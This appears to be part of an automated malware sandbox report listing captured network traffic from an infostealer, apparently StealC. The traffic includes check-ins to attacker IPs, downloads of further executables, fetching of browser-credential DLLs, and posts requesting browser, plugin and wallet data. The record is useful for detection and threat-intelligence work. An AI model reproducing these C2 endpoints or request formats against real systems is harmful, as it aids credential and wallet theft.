00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHIHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 39 37 46 39 41 35 35 33 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="hwid"5897F9A553C62507286958------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="build"sila------ECBGCBGCAFIIECBFIDHI--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"browsers------BGDAAKJJDAAKFHJKJKFC--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKFHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="message"plugins------KFCBAEHCAEGDHJKFHJKF--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDAEBGIDBGHIECBGHJDHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 2d 2d 0d 0a Data Ascii: ------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="message"fplugins------EGDAEBGIDBGHIECBGHJD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKFHost: 85.28.47.31Content-Length: 6851Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAKHost: 85.28.47.31Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDGHost: 85.28.47.31Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIJKKKKKFCAAAAFBKFHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="file"------HCFIJKKKKKFCAAAAFBKF--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKKHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 2d 2d 0d 0a Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="file"------AKJDGIEHCAEHIEBFBKKK--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKKHost: 85.28.47.31Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBGHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="message"wallets------IECBAFCAAKJDHJKFIEBG--
